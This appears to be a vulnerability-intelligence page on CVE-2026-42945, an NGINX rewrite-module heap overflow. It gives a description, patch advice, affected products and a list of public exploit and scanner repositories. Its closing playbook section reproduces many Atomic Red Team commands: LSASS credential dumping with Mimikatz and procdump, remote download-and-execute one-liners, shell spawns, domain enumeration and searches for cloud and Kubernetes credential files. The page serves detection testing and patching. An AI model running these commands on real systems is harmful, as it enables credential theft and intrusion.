CVE-2026-42945
Overview
This vulnerability is a heap buffer overflow occurring in the ngx_http_rewrite_module of F5 NGINX Plus and NGINX Open Source. It arises when the rewrite directive is followed by another rewrite, if, or set directive using an unnamed PCRE capture group (e.g., $1, $2) combined with a replacement string containing a question mark (?). The flaw is rooted in improper handling of regular expression captures during HTTP request processing within the rewrite module.
Vulnerability Description
NGINX Plus and NGINX Open Source have a vulnerability in the ngx_http_rewrite_module module. This vulnerability exists when the rewrite directive is followed by a rewrite, if, or set directive and an unnamed Perl-Compatible Regular Expression (PCRE) capture (for example, $1, $2) with a replacement string that includes a question mark (?). An unauthenticated attacker along with conditions beyond its control can exploit this vulnerability by sending crafted HTTP requests. This may cause a heap buffer overflow in the NGINX worker process leading to a restart. Additionally, attackers can execute code on systems with Address Space Layout Randomization (ASLR) disabled or when the attacker can bypass ASLR. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
Impact
An unauthenticated attacker can exploit this vulnerability remotely by sending specially crafted HTTP requests to cause a heap buffer overflow, resulting in worker process crashes and potential denial of service. In environments where Address Space Layout Randomization (ASLR) is disabled or can be bypassed, the attacker may achieve remote code execution, leading to full system compromise. This can disrupt service availability and allow unauthorized control over affected systems without any user interaction or credentials.
Solution
F5 Networks has released security advisories detailing patches for affected NGINX Plus versions, including version 4.8.0 and others under active support. Users should apply the updates as specified in the vendor advisory K000161019 available at https://my.f5.com/manage/s/article/K000161019. Systems running versions that have reached End of Technical Support are not evaluated and should be upgraded to supported releases. No workaround is documented; patching is the recommended mitigation.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (8)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
F5 | Dos | All |
cpe:2.3:a:f5:dos:*:*:*:*:*:nginx:*:*
|
|
|
F5 | Dos | 4.8.0 |
cpe:2.3:a:f5:dos:4.8.0:*:*:*:*:nginx:*:*
|
|
|
F5 | Nginx Gateway Fabric | All |
cpe:2.3:a:f5:nginx_gateway_fabric:*:*:*:*:*:*:*:*
|
|
|
F5 | Nginx Ingress Controller | All |
cpe:2.3:a:f5:nginx_ingress_controller:*:*:*:*:*:*:*:*
|
|
|
F5 | Nginx Instance Manager | All |
cpe:2.3:a:f5:nginx_instance_manager:*:*:*:*:*:*:*:*
|
|
|
F5 | Nginx Open Source | All |
cpe:2.3:a:f5:nginx_open_source:*:*:*:*:*:*:*:*
|
|
|
F5 | Nginx Plus | All |
cpe:2.3:a:f5:nginx_plus:*:*:*:*:*:*:*:*
|
|
|
F5 | Waf | All |
cpe:2.3:a:f5:waf:*:*:*:*:*:nginx:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (52)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
DepthFirstDisclosures/Nginx-Rift
exploit for CVE-2026-42945
|
DepthFirstDisclosures | 890 | 166 | 2026-05-12 | View |
|
cipherspy/CVE-2026-42945-POC
exploit for CVE-2026-42945
|
cipherspy | 64 | 13 | 2026-05-14 | View |
|
friparia/NGINX_RIFT_SCAN_CVE_2026_42945
Nginx Rewrite CVE Scan(CVE-2026-42945 nginx-rift CVE-2026-9256)
|
friparia | 34 | 8 | 2026-05-14 | View |
|
MateusVerass/nGixshell
nginx CVE scanner + RCE exploit framework (CVE-2026-42945 + 16 others)
|
MateusVerass | 26 | 9 | 2026-05-16 | View |
|
rheodev/CVE-2026-42945
NGINX Rift 漏洞分析与复现
|
rheodev | 23 | 5 | 2026-05-14 | View |
|
p3Nt3st3r-sTAr/CVE-2026-42945-POC
|
p3Nt3st3r-sTAr | 15 | 10 | 2026-05-14 | View |
|
oseasfr/Scanner_CVE_2026-42945
Script Python para detecção de instâncias Nginx vulneráveis ao CVE-2026-42945 em IPs, CIDRs e ASNs.
|
oseasfr | 19 | 1 | 2026-05-15 | View |
|
jelasin/CVE-2026-42945
|
jelasin | 4 | 4 | 2026-05-15 | View |
|
nu0l/NGINX-Rift
CVE-2026-42945 NGINX 堆溢出漏洞扫描与验证工具
|
nu0l | 5 | 1 | 2026-05-25 | View |
|
gagaltotal/CVE-2026-42945-NGINX-Rift-Toolkit
CVE-2026-42945 - NGINX Rift Toolkit
|
gagaltotal | 4 | 2 | 2026-05-20 | View |
|
nanwinata/nginxrift-CVE-2026-42945
|
nanwinata | 3 | 3 | 2026-05-14 | View |
|
bamov970/CVE-2026-42945-Nginx-RCE-bypass-ASLR
CVE-2026-42945 turns a 17-year-old NGINX rewrite bug into remote code execution — even with ASLR on, by chaining the hea...
|
bamov970 | 5 | 0 | 2026-05-25 | View |
|
dinosn/cve-2026-42945-nginx32-lab
CVE-2026-42945 nginx 32-bit exploit lab ASLR enabled
|
dinosn | 3 | 1 | 2026-05-16 | View |
|
iammerrida-source/nginx-rift-detect
Behavioral detection script for CVE-2026-42945 (NGINX Rift) — heap overflow in ngx_http_rewrite_module. No RCE, crash-ba...
|
iammerrida-source | 4 | 0 | 2026-05-15 | View |
|
0xBlackash/CVE-2026-42945
CVE-2026-42945
|
0xBlackash | 2 | 1 | 2026-05-14 | View |
|
strivepan/Nginx_cve-2026-42945-scanner-gui
Bulk scanning + one-click vulnerability exploitation
|
strivepan | 2 | 0 | 2026-06-03 | View |
|
tal7aouy/nginx-cve-2026-42945
🛡️ Script to test for NGINX CVE-2026-42945
|
tal7aouy | 2 | 0 | 2026-05-17 | View |
|
ChamsBouzaiene/ai-vuln-rediscovery-nginx-cve-2026-42945
|
ChamsBouzaiene | 0 | 2 | 2026-05-14 | View |
|
Kentox493/CVE-2026-42945_NginxRift
|
Kentox493 | 1 | 0 | 2026-08-14 | View |
|
aratane/CVE-2026-42945
A flaw was found in NGINX, specifically within the ngx_http_rewrite_module. An unauthenticated attacker can exploit this...
|
aratane | 1 | 0 | 2026-07-01 | View |
|
azilRababe/CVE-2026-42945
Technical analysis of CVE-2026-42945 (NGINX Rift), a critical heap buffer overflow in NGINX's rewrite engine caused by a...
|
azilRababe | 1 | 0 | 2026-06-22 | View |
|
LiaoZiqi-GZFLS/CVE-2026-42945
CVE-2026-42945 Nginx Rift
|
LiaoZiqi-GZFLS | 1 | 0 | 2026-06-10 | View |
|
hnytgl/CVE-2026-42945
这是一个面向防守和内网排查的 CVE-2026-42945 静态检测工具,用于检查 NGINX ngx_http_rewrite_module 相关配置是否存在高风险 rewrite 组合。
|
hnytgl | 1 | 0 | 2026-05-18 | View |
|
simota/nginx-rift-scanner
Detect-only scanner for CVE-2026-42945 (NGINX Rift), a heap overflow in ngx_http_rewrite_module. Version detection + ngi...
|
simota | 1 | 0 | 2026-06-04 | View |
|
josephfelix/CVE-2026-42945-nginx-rift
Repository for studying the CVE-2026-42945 vulnerability in nginx < 1.30
|
josephfelix | 1 | 0 | 2026-05-25 | View |
|
F2u0a0d3/CVE-2026-42945-nginx-rift-poc
PoC for CVE-2026-42945 (nginx Rift) — heap buffer overflow in ngx_http_rewrite_module. Includes detect/probe/exploit mod...
|
F2u0a0d3 | 1 | 0 | 2026-05-22 | View |
|
RedCrazyGhost/CVE-2026-42945
|
RedCrazyGhost | 1 | 0 | 2026-05-19 | View |
|
hnytgl/cve-2026-42945
|
hnytgl | 1 | 0 | 2026-05-18 | View |
|
Renison-Gohel/CVE-2026-42945-NGINX-Rift
|
Renison-Gohel | 1 | 0 | 2026-05-17 | View |
|
forxiucn/nginx-cve-2026-42945-poc
|
forxiucn | 1 | 0 | 2026-05-15 | View |
|
chenqin231/CVE-2026-42945
CVE-2026-42945: nginx-rift vulnerability analysis and detection script
|
chenqin231 | 1 | 0 | 2026-05-15 | View |
|
realityone/cve-2026-42945-scan
Scan your NGINX configuration to determine whether it is affected by CVE-2026-42945.
|
realityone | 1 | 0 | 2026-05-14 | View |
|
yusufdalbudak/CVE-2026-42945
|
yusufdalbudak | 0 | 1 | 2026-05-20 | View |
|
porcumarcooo/THM-CVE-2026-42945-Nginx-Rift-Exploit
Analisi tecnica e sfruttamento della vulnerabilità CVE-2026-42945 (Nginx Rift) per la compromissione di un server web in...
|
porcumarcooo | 0 | 0 | 2026-10-08 | View |
|
FranklinF25/cve-2026-42945
|
FranklinF25 | 0 | 0 | 2026-08-30 | View |
|
CynepMyx/nginx-rift-check
Detects the CVE-2026-42945 rewrite pattern in nginx configs: rewrite with ? in the replacement plus an unnamed capture c...
|
CynepMyx | 0 | 0 | 2026-08-13 | View |
|
hulina9900-boop/DIY-CVE-2026-42945-POC
|
hulina9900-boop | 0 | 0 | 2026-06-17 | View |
|
sec-sys/CVE-2026-42945-Reverse-Shell-POC
Python RCE PoC with reverse-shell listener for CVE-2026-42945 (NGINX Rift)
|
sec-sys | 0 | 0 | 2026-06-14 | View |
|
jenniferreire26/CVE-2026-42945
|
jenniferreire26 | 0 | 0 | 2026-06-09 | View |
|
limo57640-crypto/nginx-rift-detector
Free NGINX Rift CVE-2026-42945 detector for version, rewrite config, ASLR, crash logs, and exploitation indicators.
|
limo57640-crypto | 0 | 0 | 2026-05-16 | View |
|
lowilol/CVE-2026-42945-NGINX-Rift-Check-Script
|
lowilol | 0 | 0 | 2026-06-03 | View |
|
quantumworld-dpdns-io/CVE-2026-42945
|
quantumworld-dpdns-io | 0 | 0 | 2026-05-28 | View |
|
niekaicheng/CVE-2026-42945_NGINX_Rift
|
niekaicheng | 0 | 0 | 2026-05-26 | View |
|
karakapaku43/CVE-2026-42945
|
karakapaku43 | 0 | 0 | 2026-05-25 | View |
|
Ahmed-Soli/ingress-nginx-cve-2026-42945-backport
This repository documents a defensive backport workflow for teams running ingress-nginx controller images that still bun...
|
Ahmed-Soli | 0 | 0 | 2026-05-25 | View |
|
webdev75950-ux/nginx-rce-cve-2026-42945
|
webdev75950-ux | 0 | 0 | 2026-05-23 | View |
|
BarAppTeam/nginx-cve-fix
Source-built nginx 1.25.5 container with backported CVE-2026-42945 fix, OpenSSL bump, full provenance chain, and VEX att...
|
BarAppTeam | 0 | 0 | 2026-05-16 | View |
|
imSre9/CVE-2026-42945
|
imSre9 | 0 | 0 | 2026-05-19 | View |
|
fkj-src/fix_nginx_cve_2026_42945
NGINX CVE-2026-42945 一键修复脚本
|
fkj-src | 0 | 0 | 2026-05-19 | View |
|
sibersan/web-server-audit_CVE-2026-42945
Trigger-aware web server CVE audit for nginx and Apache. Goes beyond version matching by checking whether the vulnerable...
|
sibersan | 0 | 0 | 2026-05-16 | View |
|
byezero/nginx-cve-2026-42945-check
|
byezero | 0 | 0 | 2026-05-15 | View |
|
soksofos/wazuh-nginx-cve-2026-42945-sca-lab
Centralized Wazuh SCA Assessment for CVE-2026-42945 on NGINX Servers
|
soksofos | 0 | 0 | 2026-05-15 | View |
Threat Feed
32 eventsSighting activity recorded
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Proof-of-concept code is publicly available for this vulnerability
Active exploitation confirmed with 503 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Deployed role: Linux · Web Server
Kill chain derived from the ML classifier. Pick the target OS above to see the OS-specific path and matching playbook.
Attack Vectors ML
MITRE ATT&CK Techniques (10)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-92 | Forced Integer Overflow |
44%
|
High | High |
Red Team Playbook
123 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
"#{dumpert_exe}"
#{xordump_exe} -out #{output_file} -x 0x41
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
"#{venv_path}\Scripts\pypykatz" live lsa
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
Import-Module "#{mimpath}"
Invoke-Mimikatz -DumpCreds
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
powershell.exe -e #{obfuscated_code}
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
Invoke-Expression "#{adrecon_path}"
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
net user administrator /domain
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
net user /domain
net group /domain
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
query user /SERVER:#{computer_name}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
Get-ADComputer #{hostname} -Properties *
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
